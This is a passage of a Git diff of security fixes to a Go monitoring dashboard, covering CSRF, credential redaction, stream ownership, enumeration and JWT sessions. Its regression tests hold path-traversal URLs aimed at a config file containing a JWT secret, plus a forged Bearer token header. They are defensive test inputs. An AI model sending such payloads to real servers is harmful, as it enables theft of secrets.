+ +func TestCSRFMiddleware_AuthenticatedPATBypassesCheck(t *testing.T) { + mw := csrfMiddleware() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("POST", "/mcp", strings.NewReader("{}")) + c.Set(apiTokenCtxKey, &model.APIToken{ID: 1}) + mw(c) + if c.IsAborted() { + t.Fatal("authenticated PAT must bypass CSRF — stateless auth") + } +} + +func TestCSRFMiddleware_ForgedBearerHeaderDoesNotBypass(t *testing.T) { + mw := csrfMiddleware() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("POST", "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: "nz-jwt", Value: "session"}) + c.Request.Header.Set("Authorization", "Bearer "+model.APITokenPrefix+"never-authenticated") + mw(c) + if !c.IsAborted() || w.Code != http.StatusForbidden { + t.Fatalf("a Bearer nzp_* header that never authenticated must not skip CSRF, got aborted=%v code=%d", c.IsAborted(), w.Code) + } +} + +func TestCSRFMiddleware_EmptyTokenRejected(t *testing.T) { + mw := csrfMiddleware() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("POST", "/api/v1/profile", nil) + c.Request.AddCookie(&http.Cookie{Name: "nz-csrf", Value: ""}) + c.Request.Header.Set("X-CSRF-Token", "") + mw(c) + if !c.IsAborted() { + t.Fatal("empty csrf token must not satisfy the check (defeats the gate entirely)") + } +} diff --git a/cmd/dashboard/controller/ddns.go b/cmd/dashboard/controller/ddns.go index 5b204a47..a2a2c20e 100644 --- a/cmd/dashboard/controller/ddns.go +++ b/cmd/dashboard/controller/ddns.go @@ -30,6 +30,13 @@ func listDDNS(c *gin.Context) ([]*model.DDNSProfile, error) { return nil, err } + // 列表端点不回显写入态凭据：ddnsProfiles 是 copier 复制出的副本，置零安全， + // 不影响 singleton 内原始数据。 + for _, p := range ddnsProfiles { + p.AccessSecret = "" + p.WebhookHeaders = "" + } + return ddnsProfiles, nil } @@ -137,12 +144,18 @@ func updateDDNS(c *gin.Context) (any, error) { p.Provider = df.Provider p.Domains = df.Domains p.AccessID = df.AccessID - p.AccessSecret = df.AccessSecret p.WebhookURL = df.WebhookURL p.WebhookMethod = df.WebhookMethod p.WebhookRequestType = df.WebhookRequestType p.WebhookRequestBody = df.WebhookRequestBody - p.WebhookHeaders = df.WebhookHeaders + + // 凭据在列表接口已脱敏，前端无法回填；空值视为"不修改"，保留旧值避免误清空。 + if df.AccessSecret != "" { + p.AccessSecret = df.AccessSecret + } + if df.WebhookHeaders != "" { + p.WebhookHeaders = df.WebhookHeaders + } for n, domain := range p.Domains { // IDN to ASCII diff --git a/cmd/dashboard/controller/fm.go b/cmd/dashboard/controller/fm.go index 87699114..dfdb2728 100644 --- a/cmd/dashboard/controller/fm.go +++ b/cmd/dashboard/controller/fm.go @@ -6,7 +6,6 @@ import ( "github.com/gin-gonic/gin" "github.com/goccy/go-json" - "github.com/gorilla/websocket" "github.com/hashicorp/go-uuid" "github.com/nezhahq/nezha/model" @@ -24,8 +23,9 @@ import ( // @Param id query uint true "Server ID" // @Produce json // @Success 200 {object} model.CreateFMResponse -// @Router /file [get] +// @Router /file [post] func createFM(c *gin.Context) (*model.CreateFMResponse, error) { + prepareAgentcompatCapabilityHeader(c) idStr := c.Query("id") id, err := strconv.ParseUint(idStr, 10, 64) if err != nil { @@ -33,7 +33,10 @@ func createFM(c *gin.Context) (*model.CreateFMResponse, error) { } server, _ := singleton.ServerShared.Get(id) - if server == nil || server.TaskStream == nil { + if server == nil { + return nil, singleton.Localizer.ErrorT("server not found or not connected") + } + if server.GetTaskStream() == nil { return nil, singleton.Localizer.ErrorT("server not found or not connected") } @@ -46,15 +49,24 @@ func createFM(c *gin.Context) (*model.CreateFMResponse, error) { return nil, err } - rpc.NezhaHandlerSingleton.CreateStream(streamId) + cleanup, err := createIOStreamWithAgentcompatCapability(c, streamId, getUid(c), server.ID, rpc.AgentCompatCapabilityFileManager) + if err != nil { + return nil, err + } - fmData, _ := json.Marshal(&model.TaskFM{ + fmData, err := json.Marshal(&model.TaskFM{ StreamID: streamId, }) - if err := server.TaskStream.Send(&proto.Task{ + if err != nil { + // A stream is owned by the caller only after this function succeeds. + cleanup() + return nil, err + } + if err := server.SendTask(&proto.Task{ Type: model.TaskTypeFM, Data: string(fmData), }); err != nil { + cleanup() return nil, err } @@ -72,6 +84,12 @@ func createFM(c *gin.Context) (*model.CreateFMResponse, error) { // @Router /ws/file/{id} [get] func fmStream(c *gin.Context) (any, error) { streamId := c.Param("id") + // GHSA-style fix: io_stream sessions must be reachable only by their creator + // (or an admin). Without this, any authenticated user who learns a stream + // UUID can hijack a live file-manager session on the target server. + if !streamAttachAllowedForRequest(c, streamId) { + return nil, singleton.Localizer.ErrorT("permission denied") + } if _, err := rpc.NezhaHandlerSingleton.GetStream(streamId); err != nil { return nil, err } @@ -81,18 +99,14 @@ func fmStream(c *gin.Context) (any, error) { if err != nil { return nil, newWsError("%v", err) } - defer wsConn.Close() conn := websocketx.NewConn(wsConn) + pingTransport := newWebsocketPingTransport(conn, wsConn.Close) + stopPing := startWebsocketPingTicker(c.Request.Context(), time.Second*10, pingTransport) - go func() { - // PING 保活 - for { - if err = conn.WriteMessage(websocket.PingMessage, []byte{}); err != nil { - return - } - time.Sleep(time.Second * 10) - } - }() + deregisterPAT := registerPATConnection(c, func() { _ = pingTransport.Close() }) + defer deregisterPAT() + // Join the ping worker before PAT and WebSocket cleanup can close its writer. + defer stopPing() if err = rpc.NezhaHandlerSingleton.UserConnected(streamId, conn); err != nil { return nil, newWsError("%v", err) diff --git a/cmd/dashboard/controller/force_update_ownership_test.go b/cmd/dashboard/controller/force_update_ownership_test.go new file mode 100644 index 00000000..61c82db3 --- /dev/null +++ b/cmd/dashboard/controller/force_update_ownership_test.go @@ -0,0 +1,149 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/singleton" +) + +// fakeTaskStream is the minimum stub of pb.NezhaService_RequestTaskServer +// required to make a server look "online" to forceUpdateServer. Only Send is +// called; we capture its argument so the test can verify the upgrade task is +// NOT dispatched for foreign IDs. +type fakeTaskStream struct { + pb.NezhaService_RequestTaskServer + sentTasks []*pb.Task +} + +func (f *fakeTaskStream) Send(t *pb.Task) error { + f.sentTasks = append(f.sentTasks, t) + return nil +} + +// setupServerOwnershipFixture seeds an in-memory DB with alice's server +// (UserID=100, ID=1). The returned stream is wired in so the server is +// "online" — i.e. exercises the path that previously returned permission +// denied for foreign callers (the actual leak channel). +func setupServerOwnershipFixture(t *testing.T) (stream *fakeTaskStream, reset func()) { + t.Helper() + if singleton.Localizer == nil { + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + } + originalDB := singleton.DB + originalShared := singleton.ServerShared + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + assert.NoError(t, err) + assert.NoError(t, db.AutoMigrate(&model.Server{})) + assert.NoError(t, db.Create(&model.Server{ + Common: model.Common{ID: 1, UserID: 100}, + Name: "alice-online", + }).Error) + singleton.DB = db + singleton.ServerShared = singleton.NewServerClass() + + alice, _ := singleton.ServerShared.Get(1) + stream = &fakeTaskStream{} + alice.SetTaskStream(stream) + + return stream, func() { + singleton.DB = originalDB + singleton.ServerShared = originalShared + } +} + +func runForceUpdate(t *testing.T, callerID uint64, ids []uint64) []byte { + t.Helper() + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, callerID, model.RoleMember) + c.Next() + }) + r.POST("/force-update/server", commonHandler(forceUpdateServer)) + + body, _ := json.Marshal(ids) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/force-update/server", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + return w.Body.Bytes() +} + +type forceUpdateBody struct { + Success bool `json:"success"` + Error string `json:"error"` + Data struct { + Offline []uint64 `json:"offline"` + Success []uint64 `json:"success"` + Failure []uint64 `json:"failure"` + } `json:"data"` +} + +func decodeForceUpdate(t *testing.T, body []byte) forceUpdateBody { + t.Helper() + var resp forceUpdateBody + assert.NoError(t, json.Unmarshal(body, &resp)) + return resp +} + +// Core regression: bob submitting alice's online server ID must NOT produce +// a distinct response from bob submitting an unknown ID. The original code +// returned "permission denied" for the former and a structured success/Offline +// response for the latter — that delta is the enumeration oracle for server +// IDs and online state. +func TestForceUpdateServerOnlineForeignIDIndistinguishableFromUnknown(t *testing.T) { + gin.SetMode(gin.TestMode) + _, reset := setupServerOwnershipFixture(t) + defer reset() + + const bobID = uint64(200) + foreignResp := decodeForceUpdate(t, runForceUpdate(t, bobID, []uint64{1})) // alice's online + unknownResp := decodeForceUpdate(t, runForceUpdate(t, bobID, []uint64{9999})) // does not exist + + assert.Equal(t, foreignResp.Success, unknownResp.Success, + "top-level success flag must not differ between foreign-online and unknown IDs") + assert.Equal(t, foreignResp.Error, unknownResp.Error, + "error string must not differ — distinct error reveals existence/state of foreign servers") + assert.Equal(t, foreignResp.Data.Success, unknownResp.Data.Success) + assert.Equal(t, foreignResp.Data.Failure, unknownResp.Data.Failure) +} + +// Submitting a foreign online server must NOT actually trigger the upgrade +// task on it — that would be a write primitive on someone else's machine. +func TestForceUpdateServerForeignOnlineDoesNotDispatchUpgrade(t *testing.T) { + gin.SetMode(gin.TestMode) + stream, reset := setupServerOwnershipFixture(t) + defer reset() + + _ = runForceUpdate(t, 200, []uint64{1}) // bob hits alice's online server + assert.Empty(t, stream.sentTasks, + "foreign server must not receive the upgrade task even when online") +} + +// Sanity: owner submitting their own online server must still get the upgrade +// dispatched and a structured success response — the hardening must not +// regress the legitimate case. +func TestForceUpdateServerOwnerOnlineStillDispatches(t *testing.T) { + gin.SetMode(gin.TestMode) + stream, reset := setupServerOwnershipFixture(t) + defer reset() + + resp := decodeForceUpdate(t, runForceUpdate(t, 100, []uint64{1})) // alice on her own server + assert.True(t, resp.Success) + assert.Equal(t, []uint64{1}, resp.Data.Success) + assert.Empty(t, resp.Data.Offline) + assert.Empty(t, resp.Data.Failure) + assert.Len(t, stream.sentTasks, 1, "owner's own server must receive the upgrade task exactly once") +} diff --git a/cmd/dashboard/controller/frontend_fallback_api_tokens_test.go b/cmd/dashboard/controller/frontend_fallback_api_tokens_test.go new file mode 100644 index 00000000..df22c630 --- /dev/null +++ b/cmd/dashboard/controller/frontend_fallback_api_tokens_test.go @@ -0,0 +1,25 @@ +package controller + +import ( + "net/http" + "strings" + "testing" +) + +// 前端在 main.tsx 注册了 /dashboard/settings/api-tokens，但后端 fallback 白名单 +// 漏加这条会让用户直接刷新该页面拿到 HTTP 404（body 还是 index.html）。 +// controller.go 旁边的注释明确说「新增前端路由时必须在 main.tsx 与这里同步加」。 +func TestFallbackToFrontend_APITokensRouteReturns200(t *testing.T) { + t.Chdir(t.TempDir()) + router := newFrontendFallbackTestRouter(t) + + w := performFrontendFallbackRequest(t, router, "/dashboard/settings/api-tokens") + if w.Code != http.StatusOK { + t.Fatalf("/dashboard/settings/api-tokens fallback status = %d, want 200 "+ + "(front-end main.tsx registered the route — backend SPA fallback regex must mirror it)", + w.Code) + } + if !strings.Contains(w.Body.String(), "admin index") { + t.Fatalf("/dashboard/settings/api-tokens must serve admin index.html, got %q", w.Body.String()) + } +} diff --git a/cmd/dashboard/controller/frontend_fallback_test.go b/cmd/dashboard/controller/frontend_fallback_test.go new file mode 100644 index 00000000..f4ca8744 --- /dev/null +++ b/cmd/dashboard/controller/frontend_fallback_test.go @@ -0,0 +1,133 @@ +package controller + +import ( + "io/fs" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func newFrontendFallbackTestRouter(t *testing.T) *gin.Engine { + t.Helper() + gin.SetMode(gin.TestMode) + + originalConf := singleton.Conf + singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ + ConfigDashboard: model.ConfigDashboard{ + AdminTemplate: "admin-dist", + UserTemplate: "user-dist", + }, + }} + t.Cleanup(func() { singleton.Conf = originalConf }) + + writeFrontendFallbackTestFile(t, "admin-dist/index.html", "admin index") + writeFrontendFallbackTestFile(t, "admin-dist/assets/app.js", "console.log('admin asset')") + writeFrontendFallbackTestFile(t, "user-dist/index.html", "user index") + writeFrontendFallbackTestFile(t, "data/config.yaml", "jwt_secret_key: traversal-secret") + + r := gin.New() + r.NoRoute(fallbackToFrontend(testFrontendDist{})) + return r +} + +func writeFrontendFallbackTestFile(t *testing.T, name, content string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(name), 0o755); err != nil { + t.Fatalf("create fixture directory: %v", err) + } + if err := os.WriteFile(name, []byte(content), 0o644); err != nil { + t.Fatalf("write fixture file: %v", err) + } +} + +type testFrontendDist struct{} + +func (testFrontendDist) Open(string) (fs.File, error) { + return nil, fs.ErrNotExist +} + +func performFrontendFallbackRequest(t *testing.T, router *gin.Engine, target string) *httptest.ResponseRecorder { + t.Helper() + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, target, nil) + router.ServeHTTP(w, req) + return w +} + +func TestFallbackToFrontendBlocksDashboardTraversal(t *testing.T) { + t.Chdir(t.TempDir()) + router := newFrontendFallbackTestRouter(t) + + tests := []string{ + "/dashboard../data/config.yaml", + "/dashboard%2e%2e/data/config.yaml", + "/dashboard%2e%2e%2fdata%2fconfig.yaml", + "/dashboard/../data/config.yaml", + "/dashboard/%2e%2e/data/config.yaml", + "/dashboard../assets/app.js", + } + + for _, target := range tests { + t.Run(target, func(t *testing.T) { + w := performFrontendFallbackRequest(t, router, target) + body := w.Body.String() + if strings.Contains(body, "traversal-secret") || strings.Contains(body, "jwt_secret_key") || strings.Contains(body, "admin asset") { + t.Fatalf("%s leaked protected content with status %d: %q", target, w.Code, body) + } + }) + } +} + +func TestFallbackToFrontendBlocksUserTraversal(t *testing.T) { + t.Chdir(t.TempDir()) + router := newFrontendFallbackTestRouter(t) + + tests := []string{ + "/../data/config.yaml", + "/%2e%2e/data/config.yaml", + "/%2e%2e%2fdata%2fconfig.yaml", + "/../admin-dist/assets/app.js", + "/%2e%2e/admin-dist/assets/app.js", + } + + for _, target := range tests { + t.Run(target, func(t *testing.T) { + w := performFrontendFallbackRequest(t, router, target) + body := w.Body.String() + if strings.Contains(body, "traversal-secret") || strings.Contains(body, "jwt_secret_key") || strings.Contains(body, "admin asset") { + t.Fatalf("%s leaked protected content with status %d: %q", target, w.Code, body) + } + }) + } +} + +func TestFallbackToFrontendPreservesDashboardRoutes(t *testing.T) { + t.Chdir(t.TempDir()) + router := newFrontendFallbackTestRouter(t) + + w := performFrontendFallbackRequest(t, router, "/dashboard") + if w.Code != http.StatusMovedPermanently { + t.Fatalf("/dashboard status = %d, want %d", w.Code, http.StatusMovedPermanently) + } + if location := w.Header().Get("Location"); location != "/dashboard/" { + t.Fatalf("/dashboard Location = %q, want /dashboard/", location) + } + + w = performFrontendFallbackRequest(t, router, "/dashboard/") + if w.Code != http.StatusOK || !strings.Contains(w.Body.String(), "admin index") { + t.Fatalf("/dashboard/ status = %d body = %q, want admin index", w.Code, w.Body.String()) + } + + w = performFrontendFallbackRequest(t, router, "/dashboard/assets/app.js") + if w.Code != http.StatusOK || !strings.Contains(w.Body.String(), "admin asset") { + t.Fatalf("/dashboard/assets/app.js status = %d body = %q, want admin asset", w.Code, w.Body.String()) + } +} diff --git a/cmd/dashboard/controller/io_stream_state_agentcompat_test.go b/cmd/dashboard/controller/io_stream_state_agentcompat_test.go new file mode 100644 index 00000000..78299f21 --- /dev/null +++ b/cmd/dashboard/controller/io_stream_state_agentcompat_test.go @@ -0,0 +1,214 @@ +//go:build agentcompat + +package controller + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "io" + "net/http" + "net/http/httptest" + "sync" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" +) + +func TestAgentcompatIOStreamStateRoutesRequirePATAndReturnTypedState(t *testing.T) { + cleanup, userID := setupMCPTest(t) + defer cleanup() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeInventoryRead}, nil) + gin.SetMode(gin.TestMode) + router := gin.New() + registerAgentcompatRoutes(router) + server := httptest.NewServer(router) + t.Cleanup(server.Close) + + unauthenticated, err := http.NewRequest(http.MethodGet, server.URL+"/agentcompat/io-stream-state", nil) + require.NoError(t, err) + response, err := server.Client().Do(unauthenticated) + require.NoError(t, err) + require.Equal(t, http.StatusUnauthorized, response.StatusCode) + response.Body.Close() + + request, err := http.NewRequest(http.MethodGet, server.URL+"/agentcompat/io-stream-state", nil) + require.NoError(t, err) + request.Header.Set("Authorization", "Bearer "+token) + response, err = server.Client().Do(request) + require.NoError(t, err) + defer response.Body.Close() + var envelope model.CommonResponse[rpc.IOStreamState] + responseBody, readErr := io.ReadAll(response.Body) + require.NoError(t, readErr) + require.NotContains(t, string(responseBody), "route-wait") + require.NoError(t, json.Unmarshal(responseBody, &envelope)) + require.Equal(t, http.StatusOK, response.StatusCode) + require.True(t, envelope.Success) + require.Equal(t, rpc.IOStreamState{}, envelope.Data) +} + +func TestAgentcompatIOStreamStateWaitRouteWakesAfterClose(t *testing.T) { + cleanup, userID := setupMCPTest(t) + defer cleanup() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeInventoryRead}, nil) + require.NoError(t, rpc.NezhaHandlerSingleton.CreateStream("route-wait", 1, 7)) + gin.SetMode(gin.TestMode) + router := gin.New() + registerAgentcompatRoutes(router) + server := httptest.NewServer(router) + t.Cleanup(server.Close) + body, err := json.Marshal(rpc.IOStreamStateExpectation{ExpectedCount: rpc.ExpectedIOStreamCount(0), AbsentStreamID: "route-wait"}) + require.NoError(t, err) + requestContext, cancel := context.WithCancel(context.Background()) + defer cancel() + request, err := http.NewRequestWithContext(requestContext, http.MethodPost, server.URL+"/agentcompat/io-stream-state", bytes.NewReader(body)) + require.NoError(t, err) + request.Header.Set("Authorization", "Bearer "+token) + request.Header.Set("Content-Type", "application/json") + result := make(chan *http.Response, 1) + go func() { + response, requestErr := server.Client().Do(request) + if requestErr == nil { + result <- response + } + }() + rpc.NezhaHandlerSingleton.CloseStream("route-wait") + response := <-result + defer response.Body.Close() + var envelope model.CommonResponse[rpc.IOStreamState] + responseBody, readErr := io.ReadAll(response.Body) + require.NoError(t, readErr) + require.NotContains(t, string(responseBody), "route-wait") + require.NoError(t, json.Unmarshal(responseBody, &envelope)) + require.True(t, envelope.Success) + require.Equal(t, 0, envelope.Data.Count) + require.Equal(t, uint64(2), envelope.Data.Generation) +} + +func TestAgentcompatIOStreamStateCreateWaitRouteWakesAfterCreate(t *testing.T) { + cleanup, userID := setupMCPTest(t) + defer cleanup() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeInventoryRead}, nil) + gin.SetMode(gin.TestMode) + router := gin.New() + waitCaptured := make(chan struct{}) + var observerOnce sync.Once + rpc.NezhaHandlerSingleton.SetIOStreamStateWaitObserverForAgentcompat(func() { + observerOnce.Do(func() { close(waitCaptured) }) + }) + t.Cleanup(func() { + rpc.NezhaHandlerSingleton.SetIOStreamStateWaitObserverForAgentcompat(nil) + }) + registerAgentcompatRoutes(router) + server := httptest.NewServer(router) + t.Cleanup(server.Close) + body := bytes.NewBufferString(`{"expected_count":1}`) + requestContext, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + request, err := http.NewRequestWithContext(requestContext, http.MethodPost, server.URL+"/agentcompat/io-stream-state", body) + require.NoError(t, err) + request.Header.Set("Authorization", "Bearer "+token) + request.Header.Set("Content-Type", "application/json") + result := make(chan *http.Response, 1) + go func() { + response, requestErr := server.Client().Do(request) + if requestErr == nil { + result <- response + } + }() + select { + case <-waitCaptured: + case <-requestContext.Done(): + t.Fatal(requestContext.Err()) + } + require.NoError(t, rpc.NezhaHandlerSingleton.CreateStream("route-create", 1, 7)) + var response *http.Response + select { + case response = <-result: + case <-requestContext.Done(): + t.Fatal(requestContext.Err()) + } + defer response.Body.Close() + responseBody, err := io.ReadAll(response.Body) + require.NoError(t, err) + var envelope model.CommonResponse[rpc.IOStreamState] + require.NoError(t, json.Unmarshal(responseBody, &envelope)) + require.True(t, envelope.Success) + require.Equal(t, 1, envelope.Data.Count) + require.Equal(t, uint64(1), envelope.Data.Generation) + require.NotContains(t, string(responseBody), "route-create") +} + +func TestAgentcompatIOStreamStateRejectsInvalidExpectationAndCancellation(t *testing.T) { + cleanup, userID := setupMCPTest(t) + defer cleanup() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeInventoryRead}, nil) + gin.SetMode(gin.TestMode) + router := gin.New() + registerAgentcompatRoutes(router) + server := httptest.NewServer(router) + t.Cleanup(server.Close) + for _, rawBody := range []string{`{}`, `{"expected_count":null}`, `{"expected_count":-1,"absent_stream_id":"private-stream-id"}`} { + body := bytes.NewBufferString(rawBody) + request, err := http.NewRequest(http.MethodPost, server.URL+"/agentcompat/io-stream-state", body) + require.NoError(t, err) + request.Header.Set("Authorization", "Bearer "+token) + request.Header.Set("Content-Type", "application/json") + response, err := server.Client().Do(request) + require.NoError(t, err) + responseBody, readErr := io.ReadAll(response.Body) + response.Body.Close() + require.NoError(t, readErr) + var envelope model.CommonResponse[rpc.IOStreamState] + require.NoError(t, json.Unmarshal(responseBody, &envelope)) + require.False(t, envelope.Success) + require.NotEmpty(t, envelope.Error) + require.NotContains(t, string(responseBody), "private-stream-id") + } + + body := bytes.NewBufferString(`{"absent_stream_id":"absence-only"}`) + request, err := http.NewRequest(http.MethodPost, server.URL+"/agentcompat/io-stream-state", body) + require.NoError(t, err) + request.Header.Set("Authorization", "Bearer "+token) + request.Header.Set("Content-Type", "application/json") + response, err := server.Client().Do(request) + require.NoError(t, err) + defer response.Body.Close() + var envelope model.CommonResponse[rpc.IOStreamState] + require.NoError(t, json.NewDecoder(response.Body).Decode(&envelope)) + require.True(t, envelope.Success) + require.Equal(t, 0, envelope.Data.Count) + + unauthenticatedBody := bytes.NewBufferString(`{"expected_count":0}`) + unauthenticatedPost, err := http.NewRequest(http.MethodPost, server.URL+"/agentcompat/io-stream-state", unauthenticatedBody) + require.NoError(t, err) + unauthenticatedPost.Header.Set("Content-Type", "application/json") + unauthenticatedResponse, err := server.Client().Do(unauthenticatedPost) + require.NoError(t, err) + unauthenticatedResponse.Body.Close() + require.Equal(t, http.StatusUnauthorized, unauthenticatedResponse.StatusCode) + + ctx, cancel := context.WithCancel(context.Background()) + cancel() + _, waitErr := rpc.NezhaHandlerSingleton.WaitForIOStreamState(ctx, rpc.IOStreamStateExpectation{ExpectedCount: rpc.ExpectedIOStreamCount(1)}) + require.True(t, errors.Is(waitErr, context.Canceled)) +} diff --git a/cmd/dashboard/controller/jwt.go b/cmd/dashboard/controller/jwt.go index 17702c21..db0865e0 100644 --- a/cmd/dashboard/controller/jwt.go +++ b/cmd/dashboard/controller/jwt.go @@ -1,6 +1,8 @@ package controller import ( + "crypto/sha256" + "encoding/hex" "net/http" "time" @@ -12,30 +14,87 @@ import ( "github.com/nezhahq/nezha/cmd/dashboard/controller/waf" "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/idcodec" "github.com/nezhahq/nezha/pkg/utils" "github.com/nezhahq/nezha/service/singleton" ) +const ( + jwtClaimUserID = "uid" + jwtClaimKeyID = "keyId" + jwtKeyIDBytes = 32 +) + +func uaHash(c *gin.Context) string { + sum := sha256.Sum256([]byte(c.Request.UserAgent())) + return hex.EncodeToString(sum[:]) +} + +func issueJWTSession(c *gin.Context, user *model.User, jwtTimeoutHours int) (map[string]interface{}, error) { + keyID, err := utils.GenerateRandomString(jwtKeyIDBytes) + if err != nil { + return nil, err + } + // encodedUID is reversible Sqids obfuscation keyed by JWTSecretKey, NOT + // a one-way hash. It exists to defeat enumeration on the wire, not to + // keep the uid confidential — see L2 note in idcodec docs. + encodedUID, err := idcodec.Encode(user.ID) + if err != nil { + return nil, err + } + now := time.Now() + sess := model.JWTSession{ + KeyID: keyID, + UserID: user.ID, + IP: c.GetString(model.CtxKeyRealIPStr), + UAHash: uaHash(c), + TokenVersion: user.TokenVersion, + ExpiresAt: now.Add(time.Hour * time.Duration(jwtTimeoutHours)), + CreatedAt: now, + LastUsedAt: now, + } + if err := singleton.DB.Create(&sess).Error; err != nil { + return nil, err + } + return map[string]interface{}{ + jwtClaimUserID: encodedUID, + jwtClaimKeyID: keyID, + }, nil +} + func initParams() *jwt.GinJWTMiddleware { return &jwt.GinJWTMiddleware{ - Realm: singleton.Conf.SiteName, - Key: []byte(singleton.Conf.JWTSecretKey), - CookieName: "nz-jwt", - SendCookie: true, - Timeout: time.Hour * time.Duration(singleton.Conf.JWTTimeout), - MaxRefresh: time.Hour * time.Duration(singleton.Conf.JWTTimeout), - IdentityKey: model.CtxKeyAuthorizedUser, - PayloadFunc: payloadFunc(), + Realm: singleton.Conf.SiteName, + Key: []byte(singleton.Conf.JWTSecretKey), + CookieName: "nz-jwt", + SendCookie: true, + // Pin the signing algorithm so a future library default change (or an + // `alg: none` confusion attempt) cannot weaken token validation. + SigningAlgorithm: "HS256", + // Lax keeps OAuth callback redirects (top-level GET navigations from + // the provider domain) working while blocking cross-site POST CSRF. + // HttpOnly/Secure are intentionally left default: the frontend reads + // `!!document.cookie` for login-state display and many deployments + // terminate TLS at a proxy upstream — both warrant a separate change. + CookieSameSite: http.SameSiteLaxMode, + Timeout: time.Hour * time.Duration(singleton.Conf.JWTTimeout), + MaxRefresh: time.Hour * time.Duration(singleton.Conf.JWTTimeout), + IdentityKey: model.CtxKeyAuthorizedUser, + PayloadFunc: payloadFunc(), IdentityHandler: identityHandler(), Authenticator: authenticator(), Authorizator: authorizator(), Unauthorized: unauthorized(), - TokenLookup: "header: Authorization, query: token, cookie: nz-jwt", - TokenHeadName: "Bearer", - TimeFunc: time.Now, + // query: token still accepted because the WebSocket browser API + // cannot set Authorization headers; removing it would break the + // /ws/* routes until the frontend migrates to cookie auth. + TokenLookup: "header: Authorization, query: token, cookie: nz-jwt", + TokenHeadName: "Bearer", + TimeFunc: time.Now, LoginResponse: func(c *gin.Context, code int, token string, expire time.Time) { + setCSRFCookie(c) c.JSON(http.StatusOK, model.CommonResponse[model.LoginResponse]{ Success: true, Data: model.LoginResponse{ @@ -61,28 +120,56 @@ func identityHandler() func(c *gin.Context) any { return func(c *gin.Context) any { claims := jwt.ExtractClaims(c) - userId, ok := claims["user_id"].(string) - if !ok { + keyID, ok := claims[jwtClaimKeyID].(string) + if !ok || keyID == "" { + return nil + } + encodedUID, ok := claims[jwtClaimUserID].(string) + if !ok || encodedUID == "" { + return nil + } + claimUID, err := idcodec.Decode(encodedUID) + if err != nil { + realIP := c.GetString(model.CtxKeyRealIPStr) + model.BlockIP(singleton.DB, realIP, model.WAFBlockReasonTypeBruteForceToken, model.BlockIDToken) return nil } - tokenIP, ok := claims["ip"].(string) - if !ok { + var sess model.JWTSession + if err := singleton.DB.First(&sess, "key_id = ?", keyID).Error; err != nil { + return nil + } + if sess.RevokedAt != nil { + return nil + } + now := time.Now() + if now.After(sess.ExpiresAt) { + return nil + } + if claimUID != sess.UserID { + realIP := c.GetString(model.CtxKeyRealIPStr) + model.BlockIP(singleton.DB, realIP, model.WAFBlockReasonTypeBruteForceToken, model.BlockIDToken) return nil } - currentIP := c.GetString(model.CtxKeyRealIPStr) - - if tokenIP != currentIP { - // IP地址不匹配，token无效 + if sess.IP != currentIP { c.Set(model.CtxKeyIsIPMismatch, true) return nil } var user model.User - if err := singleton.DB.First(&user, userId).Error; err != nil { + if err := singleton.DB.First(&user, sess.UserID).Error; err != nil { return nil } + if user.TokenVersion != sess.TokenVersion { + return nil + } + + _ = singleton.DB.Model(&model.JWTSession{}). + Where("key_id = ?", keyID). + Update("last_used_at", now).Error + + c.Set(jwtClaimKeyID, keyID) return &user } } @@ -106,7 +193,7 @@ func authenticator() func(c *gin.Context) (any, error) { var user model.User realip := c.GetString(model.CtxKeyRealIPStr) - if err := singleton.DB.Select("id", "password", "reject_password").Where("username = ?", loginVals.Username).First(&user).Error; err != nil { + if err := singleton.DB.Select("id", "password", "reject_password", "token_version").Where("username = ?", loginVals.Username).First(&user).Error; err != nil { if err == gorm.ErrRecordNotFound { model.BlockIP(singleton.DB, realip, model.WAFBlockReasonTypeLoginFail, model.BlockIDUnknownUser) } @@ -126,11 +213,7 @@ func authenticator() func(c *gin.Context) (any, error) { model.UnblockIP(singleton.DB, realip, model.BlockIDUnknownUser) model.UnblockIP(singleton.DB, realip, int64(user.ID)) - // 